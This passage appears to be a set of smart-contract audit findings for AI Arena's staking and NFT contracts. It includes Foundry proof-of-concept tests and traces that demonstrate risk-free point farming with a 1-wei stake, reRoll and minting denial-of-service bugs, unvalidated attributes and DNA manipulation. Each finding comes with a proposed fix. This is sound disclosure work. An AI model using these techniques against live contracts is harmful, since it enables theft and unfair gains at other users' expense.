        uint256 mergingPortion,
        address fighterOwner
    ) 
        private 
    {
        ...
        if (battleResult == 0) {
            if (stakeAtRisk == 0) {
-               points = stakingFactor[tokenId] * eloFactor
+               points = stakingFactor[tokenId] * eloFactor / (10**9);
            }

            ...
        } else if (battleResult == 2) {
            ...
            if (accumulatedPointsPerFighter[tokenId][roundId] > 0) {
-               points = stakingFactor[tokenId] * eloFactor
+               points = stakingFactor[tokenId] * eloFactor / (10**9);
                ...
        }
    }

Assessed type

Math

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L519-L534 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L416-L500

Vulnerability details

Impact

When a user stakes just a single wei of NRN in RankedBattle contract, he will obtain a staking factor of 1 due to this function

    function _getStakingFactor(
        uint256 tokenId, 
        uint256 stakeAtRisk
    ) 
        private 
        view 
        returns (uint256) 
    {
      uint256 stakingFactor_ = FixedPointMathLib.sqrt(
          (amountStaked[tokenId] + stakeAtRisk) / 10**18
      );
      if (stakingFactor_ == 0) {
        stakingFactor_ = 1;
      }
      return stakingFactor_;
    } 

When he loses a battle, he could not get this single wei in stakeAtRisk because of this calculation

    function _addResultPoints(
        uint8 battleResult, 
        uint256 tokenId, 
        uint256 eloFactor, 
        uint256 mergingPortion,
        address fighterOwner
    ) 
        private 
    {
        ...
        curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;
        ...
    }

And if he wins, he will get points at his elo factor proportion. Thus, if he has 1500 of elo, he will receive 1500 points. These points can get accumulated in 2 different contracts, inside the MergingPool or inside the RankedBattle. The point inside the RankedBattle can be lost if the user loses a game and has accumulated points. However, if the user decides to send all his winning points to the MergingPool he will not lose anything if he loses a game because the RankedBattle contract can only send points but not discount them.

The final result is the user getting points for every win in the MergingPool and not losing any of them when getting defeat. All this can be acchieved almost for free because a single wei of NRN is worth almost nothing. These MergingPool points will make the user eligible for minting new fighters.

Proof of Concept

The following proof of concept is executed using the RankedBattle.t.sol setup

        function testPOCFreeMergingPoolPoints() public {
        address player = vm.addr(3);
        _mintFromMergingPool(player);
        uint8 tokenId = 0;
        // Mint some NRN for the user
        _fundUserWith4kNeuronByTreasury(player);
        vm.prank(player);
        _rankedBattleContract.stakeNRN(1, tokenId);
        assertEq(_rankedBattleContract.amountStaked(tokenId), 1);

        // Simulate a lose to check that his wei does not go to risk
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(tokenId, 0, 2, 1500, false);
        assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId), 0);

        // Simulate a win to check that all his points go directly to the mergingPool
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(tokenId, 100, 0, 1500, false);
        assertEq(_mergingPoolContract.fighterPoints(tokenId), 1500);

        // Simulate an other lose to check that his mergingPool points do not disappear
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(tokenId, 0, 2, 1500, false);
        assertEq(_mergingPoolContract.fighterPoints(tokenId), 1500);
    }

Output traces

Running 1 test for test/RankedBattle.t.sol:RankedBattleTest
[PASS] testPOCFreeMergingPoolPoints() (gas: 803355)
Traces:
  [803355] RankedBattleTest::testPOCFreeMergingPoolPoints()
    ├─ [0] VM::addr(3) [staticcall]
    │   └─ ← 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69
    ├─ [0] VM::prank(MergingPool: [0x349391A6596ACF133B947BB4544C329C217c227e])
    │   └─ ← ()
    ├─ [411521] FighterFarm::mintFromMergingPool(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, "_neuralNetHash", "original", [1, 80])
    │   ├─ [83687] AiArenaHelper::createPhysicalAttributes(48996689164381339297717689236250537463348159120191593528428329245764461359606 [4.899e76], 0, 0, false) [staticcall]
    │   │   └─ ← FighterPhysicalAttributes({ head: 1, eyes: 4, mouth: 1, body: 1, hands: 0, feet: 1 })
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, tokenId: 0)
    │   ├─ [2260] FighterOps::d8d02d30(0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000) [delegatecall]
    │   │   ├─ emit FighterCreated(id: 0, weight: 80, element: 1, generation: 0)
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [0] VM::prank(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf)
    │   └─ ← ()
    ├─ [29938] Neuron::transfer(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, 4000000000000000000000 [4e21])
    │   ├─ emit Transfer(from: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, to: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, value: 4000000000000000000000 [4e21])
    │   └─ ← true
    ├─ [586] Neuron::balanceOf(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall]
    │   └─ ← 4000000000000000000000 [4e21]
    ├─ [0] VM::prank(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69)
    │   └─ ← ()
    ├─ [174267] RankedBattle::stakeNRN(1, 0)
    │   ├─ [581] FighterFarm::ownerOf(0) [staticcall]
    │   │   └─ ← 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69
    │   ├─ [586] Neuron::balanceOf(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69) [staticcall]
    │   │   └─ ← 4000000000000000000000 [4e21]
    │   ├─ [26991] Neuron::approveStaker(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], 1)
    │   │   ├─ emit Approval(owner: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, spender: RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], value: 1)
    │   │   └─ ← ()
    │   ├─ [22279] Neuron::transferFrom(0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], 1)
    │   │   ├─ emit Approval(owner: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, spender: RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], value: 0)
    │   │   ├─ emit Transfer(from: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, to: RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], value: 1)
    │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   ├─ [25859] FighterFarm::updateFighterStaking(0, true)
    │   │   ├─ emit Locked(tokenId: 0)
    │   │   └─ ← ()
    │   ├─ [4618] StakeAtRisk::getStakeAtRisk(0) [staticcall]
    │   │   └─ ← 0
    │   ├─ emit Staked(from: 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, amount: 1)
    │   └─ ← ()
    ├─ [471] RankedBattle::amountStaked(0) [staticcall]
    │   └─ ← 1
    ├─ [0] VM::prank(0x7C0a2BAd62C664076eFE14b7f2d90BF6Fd3a6F6C)
    │   └─ ← ()
    ├─ [74845] RankedBattle::updateBattleRecord(0, 0, 2, 1500, false)
    │   ├─ [581] FighterFarm::ownerOf(0) [staticcall]
    │   │   └─ ← 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69
    │   ├─ [618] StakeAtRisk::getStakeAtRisk(0) [staticcall]
    │   │   └─ ← 0
    │   ├─ [618] StakeAtRisk::getStakeAtRisk(0) [staticcall]
    │   │   └─ ← 0
    │   ├─ [5238] Neuron::transfer(StakeAtRisk: [0x8d6aFed1C4d5af65ee3a8776d936B05A3eac6A00], 0)
    │   │   ├─ emit Transfer(from: RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], to: StakeAtRisk: [0x8d6aFed1C4d5af65ee3a8776d936B05A3eac6A00], value: 0)
    │   │   └─ ← true
    │   ├─ [9257] StakeAtRisk::updateAtRiskRecords(0, 0, 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69)
    │   │   ├─ emit IncreasedStakeAtRisk(fighterId: 0, atRiskAmount: 0)
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [545] StakeAtRisk::stakeAtRisk(0, 0) [staticcall]
    │   └─ ← 0
    ├─ [0] VM::prank(0x7C0a2BAd62C664076eFE14b7f2d90BF6Fd3a6F6C)
    │   └─ ← ()
    ├─ [63186] RankedBattle::updateBattleRecord(0, 100, 0, 1500, false)
    │   ├─ [581] FighterFarm::ownerOf(0) [staticcall]
    │   │   └─ ← 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69
    │   ├─ [618] StakeAtRisk::getStakeAtRisk(0) [staticcall]
    │   │   └─ ← 0
    │   ├─ [618] StakeAtRisk::getStakeAtRisk(0) [staticcall]
    │   │   └─ ← 0
    │   ├─ [48274] MergingPool::addPoints(0, 1500)
    │   │   ├─ emit PointsAdded(tokenId: 0, points: 1500)
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [527] MergingPool::fighterPoints(0) [staticcall]
    │   └─ ← 1500
    ├─ [0] VM::prank(0x7C0a2BAd62C664076eFE14b7f2d90BF6Fd3a6F6C)
    │   └─ ← ()
    ├─ [15045] RankedBattle::updateBattleRecord(0, 0, 2, 1500, false)
    │   ├─ [581] FighterFarm::ownerOf(0) [staticcall]
    │   │   └─ ← 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69
    │   ├─ [618] StakeAtRisk::getStakeAtRisk(0) [staticcall]
    │   │   └─ ← 0
    │   ├─ [618] StakeAtRisk::getStakeAtRisk(0) [staticcall]
    │   │   └─ ← 0
    │   ├─ [3238] Neuron::transfer(StakeAtRisk: [0x8d6aFed1C4d5af65ee3a8776d936B05A3eac6A00], 0)
    │   │   ├─ emit Transfer(from: RankedBattle: [0xBB807F76CdA53b1b4256E1b6F33bB46bE36508e3], to: StakeAtRisk: [0x8d6aFed1C4d5af65ee3a8776d936B05A3eac6A00], value: 0)
    │   │   └─ ← true
    │   ├─ [3257] StakeAtRisk::updateAtRiskRecords(0, 0, 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69)
    │   │   ├─ emit IncreasedStakeAtRisk(fighterId: 0, atRiskAmount: 0)
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [527] MergingPool::fighterPoints(0) [staticcall]
    │   └─ ← 1500
    └─ ← ()

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.69ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual review

Recommended Mitigation Steps

First of all the stacking factor computation has a huge precision loss and a user can get the same stacking factor by stacking 1 wei of NRN as a user that deposits up to 3_999999999999999999 NRN. It would be good to add a minimum amount of NRN to stake that way this exploit would not be possible because at the first loss he would get his stake at risk.

Secondly, the points that are sent to the MergingPool can not be touched by the RankedBattle contract. From my perspective, these points should be added to the accumulated ones in the RankedBattle adn substract it from the MerginPool in case that the user loses points.

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L370

Vulnerability details

Impact

The reRoll function is intended to try luck by retrying pseudorandom generation to obtain better stats for your fighter. However, this function takes 2 parameters: tokenId and fighterType.

    function reRoll(uint8 tokenId, uint8 fighterType) public {
        ...
    }

Here we can notice that the tokenId has to be a uint256 in order to match the underlying ERC721 token indexes, but here we have to pass a uint8.

As a result, all users that get a fighter with the tokenId greater than 255 will not be able to reRoll his stats because the function call will revert.

Proof of Concept

    function testFighterWithHighTokenIdWillNotBeAbleToReroll() public {
        vm.prank(_ownerAddress);
        _neuronContract.addSpender(address(_fighterFarmContract));

        // Artificially increment the token Id to 255
        for(uint i = 1; i < 258; i++){
            _mintFromMergingPool(address(uint160(i)));
        }
        address tokenId255Owner = _fighterFarmContract.ownerOf(255);
        address tokenId256Owner = _fighterFarmContract.ownerOf(256);

        _fundUserWith4kNeuronByTreasury(tokenId255Owner);
        _fundUserWith4kNeuronByTreasury(tokenId256Owner);

        // Token ids smaller than 256, including 255 can reroll
        vm.prank(tokenId255Owner);
        _fighterFarmContract.reRoll(255, 0);

        // However, those with a token id greater or equal to 256 can NOT
        vm.startPrank(tokenId256Owner);
        vm.expectRevert();
        _fighterFarmContract.reRoll(uint8(uint256(256)), 0);
        vm.stopPrank();
    }

Output

Running 1 test for test/FighterFarm.t.sol:FighterFarmTest
[PASS] testFighterWithHighTokenIdWillNotBeAbleToReroll() (gas: 102788506)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 89.56ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual review

Recommended Mitigation Steps

Change the input type to uint256

-    function reRoll(uint8 tokenId, uint8 fighterType) public {
+    function reRoll(uint256 tokenId, uint8 fighterType) public {
        ...
     }   

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L233-L262 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L470

Vulnerability details

Impact

Generations of fighters are kind of seasons where fighters are intended to have different elements. For example, for season 1 fighters could have water, fire and rock as elements but in season 2 could have lighting, nature and shadow. The way this is implemented in the protocol is as follows:

    /// @notice Mapping of number elements by generation.
    mapping(uint8 => uint8) public numElements;

There is a mapping where the number of the generation is the key and the value is the number of elements. As we can see in the constructor, for generation 0 has been set to 3 elements.

    constructor(address ownerAddress, address delegatedAddress, address treasuryAddress_)
        ERC721("AI Arena Fighter", "FTR")
    {
        _ownerAddress = ownerAddress;
        _delegatedAddress = delegatedAddress;
        treasuryAddress = treasuryAddress_;
@>      numElements[0] = 3;
    } 

However, when a new generation is set via incrementGeneration, there will always be 0 elements because the default value will be 0 and there is no function to set this number of elements per generation.

    function incrementGeneration(uint8 fighterType) external returns (uint8) {
        require(msg.sender == _ownerAddress);
        generation[fighterType] += 1;
        maxRerollsAllowed[fighterType] += 1;
        return generation[fighterType];
    }

As a result, when new fighters will try to get minted, those that need to calculate his element and weight via _createFighterBase, will try to calculate compute a modulo of 0 leading the transaction to revert. That is because there will always be 0 elements for upcoming elements.

    function _createFighterBase(
        uint256 dna, 
        uint8 fighterType
    ) 
        private 
        view 
        returns (uint256, uint256, uint256) 
    {
@>      uint256 element = dna % numElements[generation[fighterType]];
        uint256 weight = dna % 31 + 65;
        uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
        return (element, weight, newDna);
    }

The only fighters that will be able to get minted are those minted from the MergingPool. That's because the user can pass custom attributes and the element does not need to be computed.

Proof of Concept

The following Proof of Concept uses the setup from the FighterFarm.t.sol

    function testIfGenerationIsIncrementedNoMoreFightersWillBeAbleToBeMinted() public {
        // Generation for fighters with type 0 gets incremented. Now there are 0 elements
        vm.prank(_ownerAddress);
        _fighterFarmContract.incrementGeneration(0);

        // From now on it is not possible to mint a fighter of this type
        uint8[2] memory numToMint = [1, 0];
        bytes memory claimSignature = abi.encodePacked(
            hex"407c44926b6805cf9755a88022102a9cb21cde80a210bc3ad1db2880f6ea16fa4e1363e7817d5d87e4e64ba29d59aedfb64524620e2180f41ff82ca9edf942d01c"
        );
        string[] memory claimModelHashes = new string[](1);
        claimModelHashes[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

        string[] memory claimModelTypes = new string[](1);
        claimModelTypes[0] = "original";

        // Right sender of signature should be able to claim fighter
        vm.expectRevert();
        _fighterFarmContract.claimFighters(numToMint, claimSignature, claimModelHashes, claimModelTypes);
    }

Output traces

Running 1 test for test/FighterFarm.t.sol:FighterFarmTest
[PASS] testIfGenerationIsIncrementedNoMoreFightersWillBeAbleToBeMinted() (gas: 90905)
Traces:
  [90905] FighterFarmTest::testIfGenerationIsIncrementedNoMoreFightersWillBeAbleToBeMinted()
    ├─ [0] VM::prank(FighterFarmTest: [0x90193C961A926261B756D1E5bb255e67ff9498A1])
    │   └─ ← ()
    ├─ [30685] FighterFarm::incrementGeneration(0)
    │   └─ ← 1
    ├─ [0] VM::expectRevert(custom error f4844814:)
    │   └─ ← ()
    ├─ [46343] FighterFarm::claimFighters([1, 0], 0x407c44926b6805cf9755a88022102a9cb21cde80a210bc3ad1db2880f6ea16fa4e1363e7817d5d87e4e64ba29d59aedfb64524620e2180f41ff82ca9edf942d01c, ["ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"], ["original"])
    │   ├─ [4574] Verification::verify(0x25820a63f06e1e0f1084b9ab80ecbc8c9659397472c0fea95a08a93019aa3586, 0x407c44926b6805cf9755a88022102a9cb21cde80a210bc3ad1db2880f6ea16fa4e1363e7817d5d87e4e64ba29d59aedfb64524620e2180f41ff82ca9edf942d01c, 0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0) [delegatecall]
    │   │   ├─ [3000] PRECOMPILES::ecrecover(0xfd8716f5403181916d3702b50af2e697692bec1db02b71fb540c50728810e1ef, 28, 29167584611576571339878995233636422018945121535272023715362727324106082621178, 35314661797998437913913732547377583040930425685770092457433811664373280228048) [staticcall]
    │   │   │   └─ ← 0x00000000000000000000000022f4441ad6dbd602dfde5cd8a38f6cade68860b0
    │   │   └─ ← true
    │   └─ ← panic: division or modulo by zero (0x12)
    └─ ← ()

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.52ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual review

Recommended Mitigation Steps

Add a the number of elements for the next generation when incrementing it

-   function incrementGeneration(uint8 fighterType) external returns (uint8) {
+   function incrementGeneration(uint8 fighterType, uint8 numElementsForNewGeneration) external returns (uint8) {
        require(msg.sender == _ownerAddress);
        generation[fighterType] += 1;
+       numElements[generation[fighterType]] = numElementsForNewGeneration;
        maxRerollsAllowed[fighterType] += 1;
        return generation[fighterType];
    }

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L139-L167

Vulnerability details

Impact

Users that were selected to be winners in the MergingPool can claim his new fighters with custom attributes. These custom attributes are composed of the element and the weight of the fighter. The element must be a number between 0 and the total number of elements of this generation minus 1. The weight must be a number less than 100. However, when a user wants to mint his new fighter via claimRewards function, there is no constraints for these custom attributes input.

    function claimRewards(
        string[] calldata modelURIs, 
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes
    ) 
        external 
    {
        uint256 winnersLength;
        uint32 claimIndex = 0;
        uint32 lowerBound = numRoundsClaimed[msg.sender];
        for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
            numRoundsClaimed[msg.sender] += 1;
            winnersLength = winnerAddresses[currentRound].length;
            for (uint32 j = 0; j < winnersLength; j++) {
                if (msg.sender == winnerAddresses[currentRound][j]) {
                    _fighterFarmInstance.mintFromMergingPool(
                        msg.sender,
                        modelURIs[claimIndex],
                        modelTypes[claimIndex],
                        customAttributes[claimIndex]
                    );
                    claimIndex += 1;
                }
            }
        }
        if (claimIndex > 0) {
            emit Claimed(msg.sender, claimIndex);
        }
    }

The custom attributes are passed directly to the FighterFarm and inside there the attributes are set directly from the parameters.

That means that users who win a fighter from the MergingPool will be able to set an element and a weight out of range which can be misunderstood by the off-chain server.

Proof of Concept

This test uses the setup of the RankedBattle.t.sol

    function testPOCCustomAttributesNotConstrained() public {
        address user = makeAddr("user");

        // User passed element 10 when in fact there are only 3 elements in generation 0
        // User passed weight 1000 when max weight is 99
        vm.prank(address(_mergingPoolContract));
        _fighterFarmContract.mintFromMergingPool(user, "_neuralNetHash", "original", [uint256(10), uint256(1000)]);

        (uint256 weight, uint256 element, , , , , , , ) = _fighterFarmContract.fighters(0);
        assertEq(weight, 1000);
        assertEq(element, 10);
    }

Output traces

Running 1 test for test/RankedBattle.t.sol:RankedBattleTest
[PASS] testPOCCustomAttributesNotConstrained() (gas: 430800)
Traces:
  [430800] RankedBattleTest::testPOCCustomAttributesNotConstrained() 
    ├─ [0] VM::addr(<pk>) [staticcall]
    │   └─ ← user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]
    ├─ [0] VM::label(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], user) 
    │   └─ ← ()
    ├─ [0] VM::prank(MergingPool: [0x349391A6596ACF133B947BB4544C329C217c227e]) 
    │   └─ ← ()
    ├─ [411521] FighterFarm::mintFromMergingPool(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], _neuralNetHash, original, [10, 1000]) 
    │   ├─ [83687] AiArenaHelper::createPhysicalAttributes(48996689164381339297717689236250537463348159120191593528428329245764461359606 [4.899e76], 0, 0, false) [staticcall]
    │   │   └─ ← (1, 4, 1, 1, 0, 1)
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], tokenId: 0)
    │   ├─ [2260] FighterOps::d8d02d30(000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003e8000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000000) [delegatecall]
    │   │   ├─ emit FighterCreated(id: 0, weight: 1000, element: 10, generation: 0)
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [4390] FighterFarm::fighters(0) [staticcall]
    │   └─ ← 1000, 10, (1, 4, 1, 1, 0, 1), 0, _neuralNetHash, original, 0, 0, false
    └─ ← ()

Test result: ok. 1 passed; 0 failed; finished in 6.82ms

Tools Used

Manual review

Recommended Mitigation Steps

The function to claim rewards should ensure that the input passed by the user is between the correct range

    function claimRewards(
        string[] calldata modelURIs, 
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes
    ) 
        external 
    {
+       uint8 currentGeneration = _fighterFarmInstance.generation(0);
+       uint8 numElements = _fighterFarmInstance.numElements(currentGeneration);
        uint256 winnersLength;
        uint32 claimIndex = 0;
        uint32 lowerBound = numRoundsClaimed[msg.sender];
        for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
            numRoundsClaimed[msg.sender] += 1;
            winnersLength = winnerAddresses[currentRound].length;
            for (uint32 j = 0; j < winnersLength; j++) {
                if (msg.sender == winnerAddresses[currentRound][j]) {
+                   require(customAttributes[claimIndex][0] < numElements);
+                   require(customAttributes[claimIndex][1] < 100);
                    _fighterFarmInstance.mintFromMergingPool(
                        msg.sender,
                        modelURIs[claimIndex],
                        modelTypes[claimIndex],
                        customAttributes[claimIndex]
                    );
                    claimIndex += 1;
                }
            }
        }
        if (claimIndex > 0) {
            emit Claimed(msg.sender, claimIndex);
        }
    }

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L294-L311 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L139-L167

Vulnerability details

Impact

When a user has accumulated points battling in the protocol and wants to convert those to NRN will have to call claimNRN function once the round where he accumulated the points is over.

    function claimNRN() external {
        require(numRoundsClaimed[msg.sender] < roundId, "Already claimed NRNs for this period");
        uint256 claimableNRN = 0;
        uint256 nrnDistribution;
        uint32 lowerBound = numRoundsClaimed[msg.sender];
        for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
            nrnDistribution = getNrnDistribution(currentRound);
            claimableNRN += (
                accumulatedPointsPerAddress[msg.sender][currentRound] * nrnDistribution   
            ) / totalAccumulatedPoints[currentRound];
            numRoundsClaimed[msg.sender] += 1;
        }
        if (claimableNRN > 0) {
            amountClaimed[msg.sender] += claimableNRN;
            _neuronInstance.mint(msg.sender, claimableNRN);
            emit Claimed(msg.sender, claimableNRN);
        }
    }

Here we can see that this function loops through all rounds where the user has not claimed his NRN. That means that if a user started playing after a lot of rounds, when he would try to call claimNRN, since his numRoundsClaimed will be 0 it will revert due to running out of gas.

The same happens for claiming the MergingPool NFTs as we can see here:

    function claimRewards(
        string[] calldata modelURIs, 
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes
    ) 
        external 
    {
        uint256 winnersLength;
        uint32 claimIndex = 0;
        uint32 lowerBound = numRoundsClaimed[msg.sender];
        for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
            numRoundsClaimed[msg.sender] += 1;
            winnersLength = winnerAddresses[currentRound].length;
            for (uint32 j = 0; j < winnersLength; j++) {
                if (msg.sender == winnerAddresses[currentRound][j]) {
                    _fighterFarmInstance.mintFromMergingPool(
                        msg.sender,
                        modelURIs[claimIndex],
                        modelTypes[claimIndex],
                        customAttributes[claimIndex]
                    );
                    claimIndex += 1;
                }
            }
        }
        if (claimIndex > 0) {
            emit Claimed(msg.sender, claimIndex);
        }
    }

Tools Used

Manual review

Recommended Mitigation Steps

To solve this problem, the function could ask the user to specify a range of rounds to claim

    function claimNRN(uint256 startingRound, uint256 endingRound) external {
        require(startingRound <= endingRound);
        require(numRoundsClaimed[msg.sender] <= startingRound);
        require(endingRound < roundId, "Already claimed NRNs for this period");
        uint256 claimableNRN = 0;
        uint256 nrnDistribution;
        for (uint32 currentRound = startingRound; currentRound < endingRound; currentRound++) {
            nrnDistribution = getNrnDistribution(currentRound);
            claimableNRN += (
                accumulatedPointsPerAddress[msg.sender][currentRound] * nrnDistribution   
            ) / totalAccumulatedPoints[currentRound];
        }
        numRoundsClaimed[msg.sender] = endingRound - 1;
        if (claimableNRN > 0) {
            amountClaimed[msg.sender] += claimableNRN;
            _neuronInstance.mint(msg.sender, claimableNRN);
            emit Claimed(msg.sender, claimableNRN);
        }
    }

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L379 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L324 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L254 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L214

Vulnerability details

Impact

The DNA for the fighters is basically a number that determines the generation of the PhysicalAttributes and if the fighters does not have custom attributes, it also computes the element and weight.

Since this DNA is calculated pseudorandomly, the user can manipulate the output hash in order to obtain some stats that may be benefitial for the user.

There are different methodologies to calculate the DNA, let's look at all cases

1. DNA calculation at reRoll

    function reRoll(uint8 tokenId, uint8 fighterType) public {
        ...
        if (success) {
            numRerolls[tokenId] += 1;
@>          uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
            (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
            fighters[tokenId].element = element;
            fighters[tokenId].weight = weight;
            fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
                newDna,
                generation[fighterType],
                fighters[tokenId].iconsType,
                fighters[tokenId].dendroidBool
            );
            _tokenURIs[tokenId] = "";
        }
    }   

In this case, the parameters used to compute the DNA hash are the owner of the fighter, the tokenId and the amount of rerolls that this fighters already executed. A user can manipulated the output DNA simply by creating a wallet with an address that would compute a DNA that would lead to a benefitial stat. Once the user created an alter wallet that would compute a benefitial DNA, he just has to transfer the fighter ownership to this alter acocunt, execute reRoll function and tranfer back to the main wallet. (See POC)

2. DNA calculation at mintFromMergingPool In this other function, the user can already pass the custom attributes for the element and weight. However, the DNA will still be used for the physical attributes.

    function mintFromMergingPool(
        address to, 
        string calldata modelHash, 
        string calldata modelType, 
        uint256[2] calldata customAttributes
    ) 
        public 
    {
        require(msg.sender == _mergingPoolAddress);
        _createNewFighter(
            to, 
@>          uint256(keccak256(abi.encode(msg.sender, fighters.length))),
            modelHash, 
            modelType,
            0,
            0,
            customAttributes
        );
    }

In this case, the DNA is computed by the msg.sender (in this case will always be the _mergingPoolAddress so it is not manipulable) and the number of existing fighters.

In this function a user can not manipulate the ouput hash, however, he can compute the hash for the upcoming fighters, because when a new fighter will be created, the fighters.length will change along with the output hash. As a result, a user can claim the MergingPool reward to mint and NFT when the output hash will be benefitial for him.

3. DNA calculation at redeemMintPass

In this case we can see that the user has the complete freedom of providing a mintPassDna, and with it is calculated the DNA just by encoding it.

    function redeemMintPass(
        uint256[] calldata mintpassIdsToBurn,
        uint8[] calldata fighterTypes,
        uint8[] calldata iconsTypes,
        string[] calldata mintPassDnas,
        string[] calldata modelHashes,
        string[] calldata modelTypes
    ) 
        external 
    {
        ...
        for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
            require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i]));
            _mintpassInstance.burn(mintpassIdsToBurn[i]);
            _createNewFighter(
                msg.sender, 
@>              uint256(keccak256(abi.encode(mintPassDnas[i]))), 
                modelHashes[i], 
                modelTypes[i],
                fighterTypes[i],
                iconsTypes[i],
                [uint256(100), uint256(100)]
            );
        }
    }

With this method of creating new fighters, the user has no constraints and can compute the string needed to achieve a DNA that makes him mint a fighter with a specific stat (weight, element and physicalAttributes).

4. DNA calculation at claimFighters In this function we can see that the DNA is computed with the following elements

    function claimFighters(
        uint8[2] calldata numToMint,
        bytes calldata signature,
        string[] calldata modelHashes,
        string[] calldata modelTypes
    ) 
        external 
    {
        ...
        for (uint16 i = 0; i < totalToMint; i++) {
            _createNewFighter(
                msg.sender, 
@>              uint256(keccak256(abi.encode(msg.sender, fighters.length))),
                modelHashes[i], 
                modelTypes[i],
                i < numToMint[0] ? 0 : 1,
                0,
                [uint256(100), uint256(100)]
            );
        }
    }

